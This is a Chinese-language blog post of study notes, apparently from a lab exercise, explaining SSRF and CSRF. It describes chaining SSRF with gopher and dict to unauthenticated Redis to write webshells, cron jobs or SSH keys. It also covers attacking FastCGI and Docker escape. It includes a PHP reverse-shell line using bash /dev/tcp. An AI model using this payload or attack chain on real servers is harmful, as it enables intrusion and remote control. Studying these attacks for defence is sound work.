当前位置: 首页 > news >正文

SSRF以及CSRF

ssrf

服务端请求伪造:由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者->服务器->目标地址

有关函数

file_get_contents()
fsockopen()
curl_exec()

redis 未授权访问

dict可以探测内网的端口

探测服务 fastcgi -->实现RCE redis(no sql内存中储存)-->未授权访问

若不设置访问密码,和安全模式关闭的情况下

可以1写入webshell (知道物理路径) 2 写入任务计划书 反弹shell 3写入(ssh)公钥 直接登陆服务器

file 读取内网的文件

gopher(危害最大) 发送get post 请求 配合redis 实现三块内容

开源工具

内存数据落盘

任务计划 在centos 没问题 在Ubuntu下会失败

当手工探测无效时,用burpsuite探测

当探测0.3这台服务器没有结果时,还可以探测其它服务器,如0.1,0.2。继续用burp探测 开放了6379 也没有禁用gop. 因为file被禁用,所以只能猜网站根路径(默认为/var/www/html)。用工具

但是发现没有写入,可能路径不对(需要坚定自己猜的对)或权限不够,在html下的uplaod有权限写。但是不一定是uplaod,有可能是uploads,需要用字典探测,这里我们自己写

写入需要二次编码才可以

但是写入之后,没有执行文件。上帝视角

写入有问题重新写

如果在真实的项目中,要反弹shell. 然后有服务器权限,但是在docker环境下。需要用docker逃逸。shell 需要,在本地监听,nv -lvnp

需要用反弹shell的命令

<?php system(\"bash -c 'exec bash -i >& /dev/tcp/ip/端口 0>&1'\");?>

攻击fastcgi

需要猜端口

根据前端返回页面 发现是nginx 肯定有的php-fpm 用的9000端口

渗透思路

收集资产信息(天眼查企查查fofa)(oneforall)

子域名挖掘机

csrf

客户端请求伪造 攻击者精心构造的链接 诱导用户去点,然后把用户的密码改了。

原理:没有对客户端发送过来的值进行合法性校验, 导致攻击者构造一个恶意的form表单,然后将链接发给用户,用户进行操作,改掉密码

用token防御,是因为在第一次登录的时候服务器生成了token值,返回给客户端,下次客户端登陆的时候携带token去登录,服务器会检测toekn合法性。攻击者是不会知道token值的,所以登录不上

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 自行车制造5G智能工厂工业物联数字孪生平台,推进制造业数字化
  • FPGA时序约束
  • 【qt】windows下qt连接数据库
  • 《AI办公类工具PPT系列之五——ChatBA》
  • day_50
  • Vue3 组件 10
  • 使用密钥文件 SSH 登录服务器:Windows、macOS使用终端或连接工具
  • 日期类的实现
  • iptables: Chain Already Exists:完美解决方法
  • 通过因子分析识别消费者偏好的潜在因素的案例
  • 【异常错误】pycharm可以在terminal中运行,但是无法在run中运行(没有输出错误就停止了)
  • Java筑基之路:数组的深入了解学习!
  • 层序遍历判断完全二叉树
  • [LeetCode]46.全排列(python)
  • Ansys Rocky在电池制造行业应用
  • Android交互
  • Android开源项目规范总结
  • CNN 在图像分割中的简史:从 R-CNN 到 Mask R-CNN
  • CSS中外联样式表代表的含义
  • Git的一些常用操作
  • input实现文字超出省略号功能
  • JavaScript标准库系列——Math对象和Date对象(二)
  • jquery ajax学习笔记
  • JSDuck 与 AngularJS 融合技巧
  • MySQL Access denied for user 'root'@'localhost' 解决方法
  • Nacos系列:Nacos的Java SDK使用
  • node和express搭建代理服务器(源码)
  • PHP那些事儿
  • Python 反序列化安全问题(二)
  • python大佬养成计划----difflib模块
  • React-flux杂记
  • spring boot下thymeleaf全局静态变量配置
  • SpringBoot 实战 (三) | 配置文件详解
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • text-decoration与color属性
  • 官方新出的 Kotlin 扩展库 KTX,到底帮你干了什么?
  • 规范化安全开发 KOA 手脚架
  • 和 || 运算
  • 回顾2016
  • 聊聊hikari连接池的leakDetectionThreshold
  • 使用 @font-face
  • 跳前端坑前,先看看这个!!
  • 一个普通的 5 年iOS开发者的自我总结,以及5年开发经历和感想!
  • 3月27日云栖精选夜读 | 从 “城市大脑”实践,瞭望未来城市源起 ...
  • python最赚钱的4个方向,你最心动的是哪个?
  • ​iOS实时查看App运行日志
  • !!java web学习笔记(一到五)
  • # MySQL server 层和存储引擎层是怎么交互数据的?
  • #162 (Div. 2)
  • #我与Java虚拟机的故事#连载02:“小蓝”陪伴的日日夜夜
  • $.type 怎么精确判断对象类型的 --(源码学习2)
  • (C语言)共用体union的用法举例
  • (ZT)出版业改革:该死的死,该生的生
  • (zt)最盛行的警世狂言(爆笑)
  • (安卓)跳转应用市场APP详情页的方式